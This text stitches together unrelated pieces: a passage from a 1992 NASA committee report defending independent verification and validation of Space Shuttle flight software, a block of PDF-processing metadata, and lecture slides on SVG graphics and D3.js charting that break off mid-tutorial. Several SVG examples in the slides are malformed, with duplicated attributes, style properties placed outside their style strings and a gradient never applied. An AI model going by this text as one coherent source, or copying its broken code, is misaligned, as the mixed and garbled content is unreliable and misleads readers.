\(^{13}\) In discussions with the Committee, IBM has estimated that it takes at least two years for new employees to adequately understand the Shuttle flight software. Estimates obtained from the contractors regarding the experience of their current personnel specific to Shuttle software are as follows: IBM has 153 workers with an average experience of 13 years, Rockwell has 85 workers with an average of 7.8 years of experience, and Intermetrics has 24 people who average 6.7 years of experience with Shuttle systems and 14.9 years of avionics/software experience.
IV&V IN THE SPACE SHUTTLE PROGRAM
Independent verification and validation of software has been used by industry for over twenty years in many different forms—tailored by the user's need, the complexity of the system, the criticality of the system's application, and budget and schedule constraints. In NASA's current implementation of IV&V in the Space Shuttle program, the contractors responsible for IV&V are involved in the process from the beginning, provide a high level of technical expertise and knowledge of the software, and are specifically charged to consider the safety and quality of the product, as opposed to simply checking the performance of the process. Because of this, they are able to provide an in-depth evaluation of the components they inspect. Unfortunately, due to the limited funding available, the full potential benefits have not been realized. Still, despite the limited resources, the Committee has found that the current implementation of IV&V in the Shuttle program is valuable and effective. The NASA Shuttle program office acknowledges that the IV&V effort, as practiced on the Shuttle flight software, has been valuable and effective.
The IV&V contractors have identified errors, including several Severity 1 errors,¹⁴ that were not found by the embedded process. Among the 37 Discrepancy Reports authored or prompted by the IV&V contractors since the beginning of their contract, there were 12 Severity 1 errors and 3 Severity 1N errors. Also, the development contractors and NASA personnel interviewed by the Committee agree that other errors have been found or avoided through the close interaction of the IV&V teams with the software developers throughout the development process. Although the IV&V contractors are, by definition, independent, they interact with the software developers and other members of the flight software community throughout the process through their evaluation of Change Requests and Discrepancy Reports, through routine discussions with the developers, and ultimately through participation in the Shuttle Avionics Software Control Board, which is the final arbiter of software changes.
Although the current IV&V personnel are an integral part of the team, and so may be subject in part to peer pressure and potentially faulty group solutions, they provide a broad-based viewpoint and are specifically chartered to question group solutions from an independent stance. For example, the IV&V function specifically maintains an effort to examine the ways in which various parts of the primary and backup software interact. Included in the 37 Discrepancy Reports mentioned above were 4 Severity 1 reports on problems occurring between the primary and backup software. One of these involved a scenario that could have caused a loss of all the Shuttle's main engines. The other three involved errors that could have caused the loss of the orbiter and crew if the backup software was needed during an ascent abort maneuver.
Ultimately, the value of the IV&V function, as it relates to the embedded process, is
¹⁴ Shuttle flight software errors are categorized by the severity of their potential consequences without regard to the likelihood of their occurrence. Severity 1 errors are defined as errors that could produce a loss of the Space Shuttle or its crew. Severity 2 errors can affect the Shuttle's ability to complete its mission objectives, while Severity 3 errors affect procedures for which alternatives, or workarounds, exist. Severity 4 and 5 errors consist of very minor coding or documentation errors. In addition, there is a class of Severity 1 errors, called Severity 1N, which, while potentially life-threatening, involves operations that are precluded by established procedures, are beyond the physical limitations of Shuttle systems, or are outside system failure protection levels.
dependent on the aggressiveness and skill (e.g., the expertise, tools, and corporate knowledge) with which the IV&V contractors perform their work and their ability to remain independent and unbiased. The Committee understands that NASA's current plan is to eliminate the IV&V function but to retain a small portion of the systems engineering capability currently performed by the IV&V contractors. It is clear, however, that much valuable and probably irreplaceable expertise will be lost in scaling down to a lower level of effort, and the ability of the process to identify errors and determine appropriate solutions will be reduced. The Committee questions whether there are enough people assigned to this task at the present time. If the personnel are reduced further, the result may be that the entire effort becomes ineffective.
COST/BENEFIT CONSIDERATIONS
Even if a process is effective, there may be justifiable cost/benefit reasons for eliminating it. If the cost of the service exceeds its value, it should be eliminated. Clearly, the cost of the Intermetrics contract (which encompasses the work done by Smith Advanced Technologies) is a factor in the pending decision to eliminate IV&V. In an era when NASA is experiencing little real growth in its overall budget, and given the internal pressure to reduce costs associated with the Shuttle program, it is understandable that the Shuttle program office would seek to unburden itself of the current $3.2 million annual cost for IV&V. However, a true definition of the cost of eliminating IV&V must include the consequences of a failure of the software that results in a loss of life, causes the loss of a Shuttle, produces a stand-down of Shuttle operations, or causes the loss of expensive hardware. In proportion to the potential losses, the cost of IV&V is clearly justified. The question reduces to one of determining where risk reduction resources are best placed when competing uses are possible.
Accurately assessing the risk of software-related accidents, or judging the risks of such accidents in comparison with other possible sources of risk, is not possible. Because a single error is sufficient to cause a serious accident, a decrease in the number of software errors detected is not a valid measure for confidence in the safety of the software or the process. Nor is the fact that no Shuttle accidents have resulted from software errors a cause for complacency. A more valid measure of risk is the fact that the IV&V effort has detected potentially catastrophic errors not caught by the embedded process. The recent incident aboard Endeavor should serve as a warning that software, even at this stage in its life, can contain critical errors and that new errors can be introduced whenever the software is altered. Accidents, including,
\[15\] NASA has estimated that the Shuttle Endeavor, which was a replacement for Challenger, cost approximately $2 billion.
\[16\] A loss of expensive hardware nearly occurred during the recent (5/12/92) maiden flight of Endeavor (STS-49) as the crew attempted to rendezvous with and repair the Intelsat satellite. The software routine used to calculate rendezvous firings failed to converge to a solution due to a mismatch between the precision of the state-vector variables, which describe the position and velocity of the Shuttle, and the limits used to bound the calculation. The state-vector variables were double precision while the limit variables were single precision. The rescue mission was nearly aborted, but a workaround was found that involved relaying an appropriate state-vector value from the ground.
TABLE 2 Operational Increment Change History
<table>
<thead>
<tr>
<th>Operational Increment</th>
<th>Description</th>
<th>Year of Incorporation</th>
<th>Lines of code (percent of total)*</th>
</tr>
</thead>
<tbody>
<tr>
<td>OI-2</td>
<td>Rendezvous software, Spacelab software</td>
<td>1983</td>
<td>10,600 (1.8%)</td>
</tr>
<tr>
<td>OI-3</td>
<td>Redesign of main engine controller</td>
<td>1983</td>
<td>8,000 (1.4%)</td>
</tr>
<tr>
<td>OI-4</td>
<td>Payload re-manifest capabilities</td>
<td>1984</td>
<td>11,400 (1.9%)</td>
</tr>
<tr>
<td>OI-5</td>
<td>Crew enhancements</td>
<td>1984</td>
<td>5,900 (1.0%)</td>
</tr>
<tr>
<td>OI-6</td>
<td>Experimental orbit autopilot, Enhanced ground checkout</td>
<td>1985</td>
<td>12,200 (2.1%)</td>
</tr>
<tr>
<td>OI-7</td>
<td>Western test range, enhanced propellant dumps</td>
<td>1985</td>
<td>8,800 (1.5%)</td>
</tr>
<tr>
<td>OI-7C</td>
<td>Centaur</td>
<td>1985</td>
<td>6,600 (1.1%)</td>
</tr>
<tr>
<td>OI-8A</td>
<td>Post 51-L safety changes</td>
<td>1987</td>
<td>6,300 (1.1%)</td>
</tr>
<tr>
<td>OI-8B</td>
<td>Post 51-L safety changes, Bailout capability</td>
<td>1988</td>
<td>1,100 (0.2%)</td>
</tr>
<tr>
<td>OI-8C</td>
<td>System Improvements</td>
<td>1988</td>
<td>7,200 (1.2%)</td>
</tr>
<tr>
<td>OI-8D</td>
<td>Abort enhancements</td>
<td>1989</td>
<td>12,000 (2.0%)</td>
</tr>
<tr>
<td>OI-8F</td>
<td>Upgrade of general purpose computer (GPC)</td>
<td>1989</td>
<td>1,700 (0.3%)</td>
</tr>
<tr>
<td>OI-20</td>
<td>Extended landing sites, Trans-Atlantic abort code</td>
<td>1990</td>
<td>28,000 (4.7%)</td>
</tr>
<tr>
<td>OI-21</td>
<td>Redesign of abort sequencer, 1-engine auto-contingency aborts, hardware changes for new Orbiter</td>
<td>1991</td>
<td>32,000 (5.4%)</td>
</tr>
</tbody>
</table>
SOURCE: NASA Office of Space Flight
* Percentages based on the combined approximate sizes of the primary avionics software system (500,000 lines of code) and the backup flight software (90,000 lines of code).
In particular, Challenger, result at least in part from complacency arising from lack of problems in the past and the corresponding relaxation of protection mechanisms and procedures. Overconfidence in software is common and usually unwise.
The fact that the Shuttle software has yet to cause a serious loss is due primarily to the diligence of NASA and its contractors. Without this diligence, software could easily have caused serious, perhaps life-threatening and program-threatening problems. The Committee believes that elimination of IV&V at this stage in the program would serve to erode this
diligence.
The potential risk reduction functions of IV&V are particularly important in light of the proposed changes\textsuperscript{17} to Shuttle hardware and operations and the likely effects on the software. Although it may seem that software reliability and safety should increase over time, this is not necessarily true; as software changes, its structure degrades and, over time, the people who were responsible for initial development of the software move on to other programs or retire. These two factors make it increasingly difficult to change the software without introducing errors.
Each new release of the Shuttle flight software includes significant additions to increase functionality or to fix errors that have been identified. Table 2 shows the number of lines of source code that were changed in each update (called "operational increments," or OIs) during the ten years of Shuttle operations. The two most recent updates (OI-20 and OI-21) included very significant changes to the code (4.7 percent and 5.4 percent of the total, respectively). The error experienced on the recent mission of Endeavor was introduced into the software as part of OI-21. In addition, both modified and aging hardware can create conditions not accounted for in the software. Experience has shown that it is in this environment that errors are most likely to be introduced and that off-nominal situations are most likely to arise. For example, when the software's original 16-bit addressing was changed to a new 20-bit format to take advantage of capabilities in the new general purpose computer (OI-8F), programmers incorrectly used address bits that were reserved for the processor's microcode. Executing these instructions would have caused branches to unknown locations. The IV&V contractors authored 5 Discrepancy Reports that identified illegal use of these address fields.\textsuperscript{18} Thus, although it seems paradoxical, the risk of a software-related accident may very well increase as software evolves.
Considering the continued risk of a software failure, the consequences of a failure, and the benefits gained through IV&V, the cost of maintaining IV&V is small. Furthermore, the Committee has heard no specific proposals for alternative uses of the money that would be wiser than continuing IV&V as it is currently implemented. Proposals presented to the Committee, such as the implementation of the new HAL/S compiler and the Enhanced Software Product Assurance program proposed by the Safety, Reliability, and Quality Assurance office at the Johnson Space Center, were judged to be less important. Thus, it is the opinion of the Committee that the current implementation of IV&V provides important, low-cost insurance to the Shuttle program that materially reduces the risk of a software failure and, thus, of a software-related accident.
\textsuperscript{17} In response to a written question from the Committee, NASA has stated that over the next five years several major changes to Shuttle hardware will be made. These include: the Advanced Solid Rocket Motor to replace the current solid rocket motor; the Multi-function Electronic Display System to replace the current displays and keyboards; implementation of the Global Positioning System (GPS) for on-orbit navigation; and numerous upgrades to implement Extended Man-Tended Capability to allow for much longer missions. Details regarding the changes to the software due to these hardware changes cannot be completely known until the hardware designs are completed. NASA has stated, however, that the upgrades will require changes to the ascent software, a new navigation program to process GPS data, and additions to the autoland program.
\textsuperscript{18} These errors were classified as Severity 4 and Severity 5 errors since their resolution involved only changes to documentation and non-flight software (i.e., the HAL/S compiler). However, had the issue not been addressed, and the potential of causing branches to unknown locations remained, a more severe situation could have occurred.
ALTERNATIVES FOR IMPLEMENTATION OF IV&V WITHIN NASA
The primary reasons given by the Shuttle program office for wanting to eliminate the IV&V function, which they admit has been useful and effective, involve cost savings. The Committee has argued, in the previous section, that the cost versus benefit tradeoff justifies continued use of an appropriate form of IV&V. However, this does not address whether the same benefits could be achieved without using an IV&V contractor. This question of whether similar capability can be provided by organizations within NASA for lower cost prompted the Committee to investigate avenues other than the IV&V provided by Intermetrics and Smith Advanced Technologies.
Various members of the flight software community provide some degree of independence and technical capability. In particular, the Safety and Mission Quality Office at NASA Headquarters has the charter to oversee the safety and quality of Shuttle systems, including software. Accordingly, the Safety, Reliability, and Quality Assurance Office at Johnson Space Center has proposed a plan for taking over some, but not all, of the functions that are now performed as part of the IV&V effort. The Committee recognizes that the proposed plan is not meant to be a replacement for IV&V. The proposed plan emphasizes form over content and process over product. Under this plan, NASA personnel would check that the development contractor's processes were followed, but would not evaluate the software itself. Although such quality assurance activities can be valuable, they do not provide the same benefits as IV&V.
A possible option, although not one that the Committee recommends, would be for the Safety and Mission Quality Office to take over all the functions currently being performed by the IV&V contractors and, thereby, provide the same service. There are two reasons why, in the opinion of the Committee, this is not a viable approach.
First, the Committee was informed that neither the Safety and Mission Quality Office at Headquarters nor the Safety, Reliability and Quality Assurance Office at Johnson Space Center have the personnel, the expertise, or the tools to replace the capabilities of the current IV&V effort. Thus, if an attempt were made to fully duplicate the IV&V function, there would necessarily be a significant time lag between the phase-out of the current IV&V function and the development of a corresponding capability elsewhere in the agency. For example, the plan presented to the Committee, which includes replacing only part of the current IV&V functions, will not be in place until well after the time when the current IV&V is scheduled to be eliminated.
Second, if another organization within NASA were to attempt to duplicate the capabilities provided by the current IV&V effort, they would be required to increase their personnel accordingly, develop or acquire software verification and validation tools similar to those used by the IV&V teams, and provide appropriate facilities for housing the personnel and equipment. While the Committee was not constituted to evaluate the relative expense of
---
19 Intermetrics has acquired or developed numerous tools specifically for Shuttle software. These include tools tailored for the IV&V task that check cross-references and data dependencies, compare source code listings, and identify absolute addresses. Intermetrics also has several tools that apply to the specific programming languages (HAL/S and AP101 assembler) used in Shuttle software development.
developing and maintaining such capability within NASA, it fails to see how making such a change could result in a net savings.
The Committee was told that no organization within NASA has the expertise or the manpower to replace the current IV&V function in a timely fashion, and the Committee believes that building this expertise elsewhere will not necessarily reduce cost. Thus, the Committee **does not recommend moving IV&V functions to other organizations within NASA unless the current IV&V is maintained for as long as it takes to build comparable expertise in the replacing organization.**
**RECOMMENDATIONS**
Based on evaluation of the presentations and documents given to the Committee, and considering the Committee's own industrial and academic experience and knowledge, the Committee concludes that the current IV&V process, as defined and practiced for the Space Shuttle software, is effective and that cost/benefit and risk considerations do not justify its elimination from the fiscal year 1993 budget. Furthermore, the Committee concludes that the Space Shuttle software development process is not adequate without current IV&V practices and their elimination will adversely affect the overall quality and safety of the software, both now and in the future.
Accordingly, the Committee recommends that NASA:
1. **maintain the currently implemented independent verification and validation for Space Shuttle flight software; and**
2. **not transfer IV&V functions to other organizations within the agency unless the current IV&V effort is maintained for as long as it takes to build comparable expertise in the replacing organization.**
Further recommendations regarding the development process for Shuttle flight software, including an evaluation of the embedded V&V process and a comparison with other, similar processes, will be contained in the Committee's final report.
|
{"Source-Url": "https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19920023952.pdf", "len_cl100k_base": 9962, "olmocr-version": "0.1.53", "pdf-total-pages": 20, "total-fallback-pages": 0, "total-input-tokens": 50150, "total-output-tokens": 10748, "length": "2e13", "weborganizer": {"__label__adult": 0.0005044937133789062, "__label__art_design": 0.00048661231994628906, "__label__crime_law": 0.0014514923095703125, "__label__education_jobs": 0.00254058837890625, "__label__entertainment": 0.0001977682113647461, "__label__fashion_beauty": 0.00033545494079589844, "__label__finance_business": 0.0029888153076171875, "__label__food_dining": 0.00064849853515625, "__label__games": 0.0032558441162109375, "__label__hardware": 0.0035800933837890625, "__label__health": 0.0009508132934570312, "__label__history": 0.0011434555053710938, "__label__home_hobbies": 0.00020563602447509768, "__label__industrial": 0.0012664794921875, "__label__literature": 0.0004749298095703125, "__label__politics": 0.0015773773193359375, "__label__religion": 0.00047850608825683594, "__label__science_tech": 0.2783203125, "__label__social_life": 0.00015616416931152344, "__label__software": 0.0277252197265625, "__label__software_dev": 0.66552734375, "__label__sports_fitness": 0.0005421638488769531, "__label__transportation": 0.005283355712890625, "__label__travel": 0.00041413307189941406}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 52197, 0.01425]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 52197, 0.28836]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 52197, 0.93796]], "google_gemma-3-12b-it_contains_pii": [[0, 289, false], [289, 3690, null], [3690, 4919, null], [4919, 7291, null], [7291, 7648, null], [7648, 7648, null], [7648, 10105, null], [10105, 13295, null], [13295, 16841, null], [16841, 21514, null], [21514, 24421, null], [24421, 28509, null], [28509, 32060, null], [32060, 35925, null], [35925, 39560, null], [39560, 42672, null], [42672, 46752, null], [46752, 50300, null], [50300, 52197, null], [52197, 52197, null]], "google_gemma-3-12b-it_is_public_document": [[0, 289, true], [289, 3690, null], [3690, 4919, null], [4919, 7291, null], [7291, 7648, null], [7648, 7648, null], [7648, 10105, null], [10105, 13295, null], [13295, 16841, null], [16841, 21514, null], [21514, 24421, null], [24421, 28509, null], [28509, 32060, null], [32060, 35925, null], [35925, 39560, null], [39560, 42672, null], [42672, 46752, null], [46752, 50300, null], [50300, 52197, null], [52197, 52197, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 52197, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 52197, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 52197, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 52197, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 52197, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 52197, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 52197, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 52197, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 52197, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 52197, null]], "pdf_page_numbers": [[0, 289, 1], [289, 3690, 2], [3690, 4919, 3], [4919, 7291, 4], [7291, 7648, 5], [7648, 7648, 6], [7648, 10105, 7], [10105, 13295, 8], [13295, 16841, 9], [16841, 21514, 10], [21514, 24421, 11], [24421, 28509, 12], [28509, 32060, 13], [32060, 35925, 14], [35925, 39560, 15], [39560, 42672, 16], [42672, 46752, 17], [46752, 50300, 18], [50300, 52197, 19], [52197, 52197, 20]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 52197, 0.1701]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
a588fe98bc75e2f5abc4c08fb49f5a8c72ea805b
|
E6893 Big Data Analytics Lecture 8:
Data Visualization and Graph Database
Ching-Yung Lin, Ph.D.
Adjunct Professor, Dept. of Electrical Engineering and Computer Science
October 28th, 2022
Final Project Proposal (11/4/2022)
Presentation Format:
• Each group shall have 5 mins to present -> Do not overtime.
• CVN and Remote Student groups —> Please submit your presentation video
• Please sign up, including team members, project title, and links to slides (open to let people in Columbia can view) at
https://docs.google.com/spreadsheets/d/1bUc2jLmluHGqyHb4tg-NypFQcAQGej7F5X9taDR5myk/edit?usp=sharing
Proposal Scoring — preparing no more than 5 page slides (each item 1/5 of the proposal score):
• Goal — novel? challenging?
• Data — Big Data 3Vs? New or Existing dataset (from where)?
• Methods — potential methodologies and algorithms? Feasible?
• System — an overview of system. Multiple steps? Scalable?
• Schedule — what to achieve by what time, and by whom?
Data Visualization — SVG short Introduction
SVG Examples
Basic Shapes
Lines Rectangles Circles Ellipses Polygons Polylines
Advanced Shapes (Paths)
Arcs Quadratic Bezier Curves Cubic Bezier Curves
SVG Examples
Text
Text along a curved path
Images
SVG Examples
Layering + Opacity
Text on Shape
Transformations
SVG Transformations
SVG Examples
**Gradients**
- Linear Gradients
- Radial Gradients
- Opacity Gradients
**Text with opacity gradient**
**Links**
- [http://jenkov.com](http://jenkov.com)
- Click Rectangle:
SVG Examples
Animations
Use Cases
Graphs
Bar Charts
Pie Charts
A Simple SVG Example
```
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<rect x="10" y="10" height="100" width="100"
style="stroke:#ff0000; fill: #0000ff"/>
</svg>
```
SVG as Background Images
Since the browsers treat SVG images just like bitmap images, you can use SVG images as background images via CSS. Here is an example:
```html
<svg
viewBox="0 0 100 100"
style="width:100%;height:auto;">
<circle cx="40" cy="40" r="24" fill="#cc9900" stroke="#006600" />
</svg>
```
svg Element Inside HTML
Embedding an SVG image using the `svg` element can be done by embedding an `svg` element directly in an HTML page, like this:
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<g>
<line x1="10" y1="10" x2="85" y2="10"
style="stroke: #006600;"/>
<rect x="10" y="20" height="50" width="75"
style="stroke: #006600; fill: #006600"/>
<text x="10" y="90" style="stroke: #660000; fill: #660000">
Text grouped with shapes</text>
</g>
</svg>
---
Text grouped with shapes
SVG strokes and fill
- `<circle cx="40" cy="40" r="24" style="stroke:#006600; stroke-width: 3; fill:#00cc00"/>
- `<circle cx="40" cy="40" r="24" style="stroke:#006600; stroke-width: 3; stroke-dasharray: 10 5; fill:#00cc00"/>
- `<circle cx="40" cy="40" r="24" style="stroke: none; fill:#00cc00"/>
- `<circle cx="64" cy="40" r="24" style="stroke: #660000; fill: #cc0000"/>
- `<circle cx="64" cy="40" r="24" style="stroke: #000066; fill: #0000cc" fill-opacity: 0.5/>
- `<circle cx="40" cy="40" r="24" style="stroke: #006000; fill:none"/>"
SVG path Element
```xml
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<path d="M50,50
A30,30 0 0,1 35,20
L100,100
M110,110
L100,0"
style="stroke:#660000; fill:none;"/>
</svg>
```
A: Arc
M: Move
L: Line
The radius of the arc is set by the two first parameters set on the A command. The first parameter is \( r_x \) (radius in x-direction) and the second is \( r_y \) (radius in y-direction). Setting \( r_x \) and \( r_y \) to the same value will result in a circular arc. Setting \( r_x \) and \( r_y \) to different values will result in an elliptical arc. In the example above \( r_x \) was set to 30 and \( r_y \) to 50.
The third parameter set on the A command is the \textit{x-axis-rotation}. This sets the rotation of the arc’s x-axis compared to the normal x-axis. In the above example the \textit{x-axis-rotation} is set to 0. Most of the time you will not need to change this parameter.
The fourth and fifth parameters are the \textit{large-arc-flag} and \textit{sweep-flag} parameters. The \textit{large-arc-flag} determines whether to draw the smaller or bigger arc satisfying the start point, end point and \( r_x \) and \( r_y \).
SVG path Element
```xml
<path d="M40,20 A30,30 0 0,0 70,70"
style="stroke: #cccc00; stroke-width:2; fill:none;"/>
<path d="M40,20 A30,30 0 1,0 70,70"
style="stroke: #ff0000; stroke-width:2; fill:none;"/>
<path d="M40,20 A30,30 0 1,1 70,70"
style="stroke: #00ff00; stroke-width:2; fill:none;"/>
<path d="M40,20 A30,30 0 0,1 70,70"
style="stroke: #0000ff; stroke-width:2; fill:none;"/>
```
<text x="20" y="40"
style="fill: #000000; stroke: none; font-size: 48px;">
Fill only
</text>
<text x="20" y="100"
style="fill: none; stroke: #000000; font-size: 48px;">
Stroke only
</text>
<text x="20" y="150"
style="fill: #999999; stroke: #000000; font-size: 48px;">
Fill and stroke
</text>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<text x="20" y="40"
transform="rotate(30 20,40)"
style="stroke:none; fill:#000000;">
Rotated SVG text
</text>
</svg>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<rect x="50" y="50" height="110" width="110"
style="stroke:#ff0000; fill: #ccccff"
transform="translate(30) rotate(45 50 50)"
/>
<text x="70" y="100"
transform="translate(30) rotate(45 50 50)"
>Hello World</text>
</svg>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<rect x="10" y="10" height="110" width="110"
style="stroke:#ff0000; fill: #0000ff">
<animateTransform
attributeName="transform"
begin="0s"
dur="20s"
type="rotate"
from="0 60 60"
to="360 60 60"
repeatCount="indefinite"
/>
</rect>
</svg>
Overview of Animation Options
1. <set>
2. <animate>
3. <animateColor>
4. <animateTransform>
5. <animateMotion>
set
```
<circle cx="30" cy="30" r="25" style="stroke: none; fill: #0000ff;">
<set attributeName="r" attributeType="XML"
to="100"
begin="0s" />
</circle>
```
animate
```xml
<circle cx="30" cy="30" r="25" style="stroke: none; fill: #0000ff;">
<animate attributeName="cx" attributeType="XML"
from="30" to="470"
begin="0s" dur="5s"
fill="remove" repeatCount="infinite"/>
</circle>
```
**animateTransform**
```xml
<rect x="20" y="20" width="100" height="40"
style="stroke: #ff00ff; fill:none;" >
<animateTransform attributeName="transform"
type="rotate"
from="0 100 100" to="360 100 100"
begin="0s" dur="10s"
repeatCount="indefinite"
/>
</rect>
```
animateMotion
```xml
<rect x="0" y="0" width="30" height="15"
style="stroke: #ff0000; fill: none;">
<animateMotion
path="M10,50 q60,50 100,0 q60,-50 100,0"
begin="0s" dur="10s" repeatCount="indefinite"
/>
</rect>
```
SVG Gradients
Linear Gradients
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<linearGradient id="myLinearGradient1"
x1="0%" y1="0%"
x2="0%" y2="100%"
spreadMethod="pad">
<stop offset="0%" stop-color="#00cc00" stop-opacity="1"/>
<stop offset="100%" stop-color="#006600" stop-opacity="1"/>
</linearGradient>
</defs>
<rect x="10" y="10" width="75" height="100" rx="10" ry="10"
style="fill:url(#myLinearGradient1);"
stroke: #005000;
stroke-width: 3;" />
</svg>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<linearGradient id="myLinearGradient1"
xlink:href="#myLinearGradient1"
xlink:href="#myLinearGradient1"
xlink:href="#myLinearGradient1"
xlink:href="#myLinearGradient1">
<stop offset="10%" stop-color="#00cc00" stop-opacity="1"/>
<stop offset="30%" stop-color="#006600" stop-opacity="1"/>
<stop offset="70%" stop-color="#cc0000" stop-opacity="1"/>
<stop offset="90%" stop-color="#000099" stop-opacity="1"/>
</linearGradient>
</defs>
<rect x="10" y="10" width="500" height="50" rx="10" ry="10"
xlink:href="#myLinearGradient1" stroke:="#005000;" stroke-width:="3;"/>
</svg>
SVG Gradients
Radial Gradients
```xml
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<radialGradient id="myRadialGradient4"
fx="5%" fy="5%" r="65%"
spreadMethod="pad">
<stop offset="0%" stop-color="#00ee00" stop-opacity="1"/>
<stop offset="100%" stop-color="#006600" stop-opacity="1" />
</radialGradient>
</defs>
<rect x="340" y="10" width="100" height="100" rx="10" ry="10"
style="fill:url(#myRadialGradient4);
stroke: #005000; stroke-width: 3;" />
</svg>
```
SVG Maps
https://www.tutorialspoint.com/svg/maps.htm
USA
Visualization — D3 Introduction and Examples
D3 Website
http://d3js.org
D3 Installation
Installing
For NPM, `npm install d3`. For Yarn, `yarn add d3`. Otherwise, download the latest release. The released bundle supports AMD, CommonJS, and vanilla environments. Create a custom bundle using Rollup or your preferred bundler. You can also load directly from d3js.org:
```html
<script src="https://d3js.org/d3.v5.js"></script>
```
For the minified version:
```html
<script src="https://d3js.org/d3.v5.min.js"></script>
```
You can also use the standalone D3 microlibraries. For example, `d3-selection`:
```html
<script src="https://d3js.org/d3-selection.v1.min.js"></script>
```
D3 Selections
In Javascript:
```javascript
var paragraphs = document.getElementsByTagName("p");
for (var i = 0; i < paragraphs.length; i++) {
var paragraph = paragraphs.item(i);
paragraph.style.setProperty("color", "white", null);
}
```
D3 employs a declarative approach, operating on arbitrary sets of nodes called selections. For example, you can rewrite the above loop as:
d3.selectAll("p").style("color", "white");
D3 Dynamic Properties
Randomly color paragraphs:
```javascript
d3.selectAll("p").style("color", function() {
return "hsl(" + Math.random() * 360 + ",100%,50%")";
});
```
Alternate shades of gray for even and odd nodes:
```javascript
d3.selectAll("p").style("color", function(d, i) {
return i % 2 ? "#fff" : "#eee";
});
```
Randomly color paragraphs:
d3.selectAll("p")
.data([4, 8, 15, 16, 23, 42])
.style("font-size", function(d) { return d + "px"; });
Computed properties often refer to bound data. Data is specified as an array of values, and each value is passed as the first argument (d) to selection functions. With the default join-by-index, the first element in the data array is passed to the first node in the selection, the second element to the second node, and so on. For example, if you bind an array of numbers to paragraph elements, you can use these numbers to compute dynamic font sizes:
Using D3’s `enter` and `exit` selections, you can create new nodes for incoming data and remove outgoing nodes that are no longer needed.
When data is bound to a selection, each element in the data array is paired with the corresponding node in the selection. If there are fewer nodes than data, the extra data elements form the enter selection, which you can instantiate by appending to the `enter` selection. For example:
```javascript
d3.select("body")
.selectAll("p")
.data([4, 8, 15, 16, 23, 42])
.enter().append("p")
.text(function(d) { return "I’m number " + d + "!"; });
```
```javascript
// Update...
var p = d3.select("body")
.selectAll("p")
.data([4, 8, 15, 16, 23, 42])
.text(function(d) { return d; });
// Enter...
p.enter().append("p")
.text(function(d) { return d; });
// Exit...
p.exit().remove();
```
D3 Transformation
For example, to fade the background of the page to black:
```javascript
d3.select("body").transition()
.style("background-color", "black");
```
Or, to resize circles in a symbol map with a staggered delay:
```javascript
d3.selectAll("circle").transition()
.duration(750)
.delay(function(d, i) { return i * 10; })
.attr("r", function(d) { return Math.sqrt(d * scale); });
```
D3 Bar Chart Tutorial
https://bost.ocks.org/mike/bar/
```
var data = [4, 8, 15, 16, 23, 42];
```
Selecting an Element
**Javascript:**
```
var div = document.createElement("div");
div.innerHTML = "Hello, world!";
document.body.appendChild(div);
```
**D3:**
```
var body = d3.select("body");
var div = body.append("div");
div.html("Hello, world!");
```
Chaining Methods
```javascript
var body = d3.select("body");
body.style("color", "black");
body.style("background-color", "white");
d3.select("body")
.style("color", "black")
.style("background-color", "white");
var section = d3.selectAll("section");
section.append("div")
.html("First!");
section.append("div")
.html("Second.");
```
D3 Bar Chart Tutorial
Coding a Chart, Manually
```html
<!DOCTYPE html>
<style>
.chart div {
font: 10px sans-serif;
background-color: steelblue;
text-align: right;
padding: 3px;
margin: 1px;
color: white;
}
</style>
<div class="chart">
<div style="width: 40px;">4</div>
<div style="width: 80px;">8</div>
<div style="width: 150px;">15</div>
<div style="width: 160px;">16</div>
<div style="width: 230px;">23</div>
<div style="width: 420px;">42</div>
</div>
```
D3 Bar Chart Tutorial
Coding a Chart, Automatically
```javascript
d3.select(".chart")
.selectAll("div")
.data(data)
.enter().append("div")
.style("width", function(d) { return d * 10 + "px"; })
.text(function(d) { return d; });
```
First, we select the chart container using a class selector.
```javascript
var chart = d3.select(".chart");
```
Next we initiate the data join by defining the selection to which we will join data.
```javascript
var bar = chart.selectAll("div");
```
Coding a Chart, Automatically
```javascript
var barUpdate = bar.data(data);
var barEnter = barUpdate.enter().append("div");
barEnter.style("width", function(d) { return d * 10 + "px"; });
barEnter.text(function(d) { return d; });
```
Scaling to Fit
```javascript
var x = d3.scale.linear()
.domain([0, d3.max(data)])
.range([0, 420]);
```
D3 Bar Chart Tutorial
```html
